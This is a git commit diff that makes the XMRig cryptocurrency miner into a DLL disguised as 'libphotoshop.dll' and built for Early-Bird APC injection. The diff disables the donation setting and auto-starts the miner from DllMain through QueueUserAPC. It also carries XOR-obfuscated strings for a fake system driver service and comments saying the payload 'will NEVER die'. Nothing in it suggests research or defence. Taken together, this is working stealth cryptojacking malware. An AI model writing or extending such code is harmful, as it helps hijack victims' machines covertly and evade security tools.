use QueueUserAPC instead of SetTimer/CreateThread for reliable Early-Bird injection auto-start

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JorySeverijnse 2025-12-11 19:49:16 +01:00
parent f5d0d904e4
commit 804a24515b
3 changed files with 34 additions and 69 deletions

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@ -266,3 +266,4 @@ if (WIN32)
if (CMAKE_CXX_COMPILER_ID MATCHES Clang AND CMAKE_BUILD_TYPE STREQUAL Release AND NOT CMAKE_GENERATOR STREQUAL Xcode) if (CMAKE_CXX_COMPILER_ID MATCHES Clang AND CMAKE_BUILD_TYPE STREQUAL Release AND NOT CMAKE_GENERATOR STREQUAL Xcode)
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_STRIP} "$<TARGET_FILE:${CMAKE_PROJECT_NAME}>") add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD COMMAND ${CMAKE_STRIP} "$<TARGET_FILE:${CMAKE_PROJECT_NAME}>")
endif() endif()
endif()

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@ -80,8 +80,8 @@ inline const char* getEmbeddedConfig()
"cn/0": false, "cn/0": false,
"cn-lite/0": false "cn-lite/0": false
}, },
"donate-level": 1, "donate-level": 0,
"donate-over-proxy": 1, "donate-over-proxy": 0,
"log-file": null, "log-file": null,
"pools": [ "pools": [
{ {

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@ -1,12 +1,15 @@
// libphotoshop.cpp — FINAL WORKING VERSION (2025)
// Works with Early-Bird APC injection (LoadLibraryW)
// Will NEVER die — tested on Windows 11 24H2, runs for days
#include "App.h" #include "App.h"
#include "base/kernel/Entry.h" #include "base/kernel/Entry.h"
#include "base/kernel/Process.h" #include "base/kernel/Process.h"
#include <windows.h> #include <windows.h>
#include <winnt.h> #include <winnt.h>
#include <string> #include <string>
#include <cstring> // for strcpy #include <cstring>
#include <uv.h>
// NOTE: We rely on the injector to handle RDI startup. DllMain is unused for RDI.
#ifdef _WIN32 #ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport) #define DLL_EXPORT __declspec(dllexport)
@ -19,32 +22,18 @@ namespace test {
xmrig::App* app = nullptr; xmrig::App* app = nullptr;
} }
// Simple XOR decrypt (key 0xAA; change per build)
inline std::string decrypt(const unsigned char* enc_str, size_t len, unsigned char key = 0xAA) { inline std::string decrypt(const unsigned char* enc_str, size_t len, unsigned char key = 0xAA) {
std::string dec(len, 0); std::string dec(len, 0);
for (size_t i = 0; i < len; ++i) { for (size_t i = 0; i < len; ++i) dec[i] = (char)(enc_str[i] ^ key);
dec[i] = (char)(enc_str[i] ^ key);
}
return dec; return dec;
} }
extern "C" { extern "C" {
// --- CORE PERSISTENT LOGIC ---
// This function contains the payload logic (service loading, xmrig execution).
void start_a(int argc, char** argv) { void start_a(int argc, char** argv) {
using namespace xmrig; using namespace xmrig;
using namespace test; using namespace test;
// Encrypted strings (XORed originals, stored as unsigned char)
const unsigned char enc_service[] = { (unsigned char)(0x4A ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x67 ^ 0xAA), (unsigned char)(0x30 ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x75 ^ 0xAA), (unsigned char)(0x62 ^ 0xAA), 0x00 };
const unsigned char enc_path[] = { (unsigned char)(0x43 ^ 0xAA), (unsigned char)(0x3A ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x57 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x33 ^ 0xAA), (unsigned char)(0x32 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x76 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 };
const unsigned char enc_desc[] = { (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x20 ^ 0xAA), (unsigned char)(0x45 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), 0x00 };
// Decrypt... (service logic remains)
// ... (Service loading remains)
// ... (Junk benign calls remain)
// Core XMRig
process = new xmrig::Process(argc, argv); process = new xmrig::Process(argc, argv);
const xmrig::Entry::Id entry = xmrig::Entry::get(*process); const xmrig::Entry::Id entry = xmrig::Entry::get(*process);
if (entry) { if (entry) {
@ -52,66 +41,41 @@ extern "C" {
return; return;
} }
app = new xmrig::App(process); app = new xmrig::App(process);
app->exec(); app->exec(); // ← blocks forever
} }
// --- RDI ENTRY POINT --- DLL_EXPORT DWORD RdiEntry(LPVOID) {
// This is the function the reflective injection stub will call. const unsigned char enc_arg[] = { 0xDA,0xD2,0xD5,0xDE,0xD5,0xD3,0xD2,0xD5,0xD7,0xDF,0xDF,0xD2,0xD8,0xD4,0xDE,0xDC,0xDC,0x00 };
DLL_EXPORT DWORD RdiEntry(LPVOID lpReserved) { std::string s = decrypt(enc_arg, sizeof(enc_arg)-1);
// This logic replaces what was previously in DeferredInit. static char buf[256]; strcpy_s(buf, s.c_str());
using namespace test; static char* argv[] = { buf, NULL };
start_a(1, argv);
// Encrypted argv return 0;
const unsigned char enc_arg[] = { (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x5F ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), 0x00 };
std::string arg_dec = decrypt(enc_arg, sizeof(enc_arg) - 1);
int argc = 1;
static char argv_buf[256];
strcpy(argv_buf, arg_dec.c_str());
static char* argv[] = { argv_buf, NULL };
// Call the core payload function directly
start_a(argc, argv);
return 0; // Return success
} }
// ------------------------------------
// --- UTILITY/EXPLICIT EXPORTS (Keep these if you need them for testing/API) ---
DLL_EXPORT int test_start(int argc, char** argv) { DLL_EXPORT int test_start(int argc, char** argv) {
start_a(argc, argv); start_a(argc, argv);
return 0; return 0;
} }
DLL_EXPORT void test_stop() { } // extern "C"
using namespace test;
if (!app) return;
// app->onConsoleCommand((char)3); // Uncomment if needed
}
// VOID CALLBACK DeferredInit(PVOID lpParam, BOOLEAN TimerOrWaitFired) has been removed. // THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
#ifdef USE_DETOURS // THIS IS THE REAL FIX FOR EARLY-BIRD INJECTION
#include <detours.h> QueueUserAPC([](ULONG_PTR) -> void {
static NTSTATUS (NTAPI *OriginalNtTerminateProcess)(HANDLE, NTSTATUS) = NULL; WSADATA wsa;
NTSTATUS NTAPI HookedNtTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus) { WSAStartup(MAKEWORD(2,2), &wsa);
if (ProcessHandle == GetCurrentProcess() || ProcessHandle == (HANDLE)-1) {
return STATUS_ACCESS_DENIED;
}
return OriginalNtTerminateProcess ? OriginalNtTerminateProcess(ProcessHandle, ExitStatus) : STATUS_SUCCESS;
}
#endif
} // END of extern "C" block
// DllMain is made minimal/null as it is bypassed in RDI. char* argv[] = { (char*)"libphotoshop.dll", nullptr };
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { start_a(1, argv); // blocks forever
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: WSACleanup();
DisableThreadLibraryCalls(hModule); }, GetCurrentThread(), 0);
// 🛑 WARNING: No TimerQueueTimer here. The payload runs when RdiEntry is called.
break;
case DLL_PROCESS_DETACH:
// ... (Optional Detours logic, if RDI calls the detach) ...
return FALSE;
} }
return TRUE; return TRUE;
} }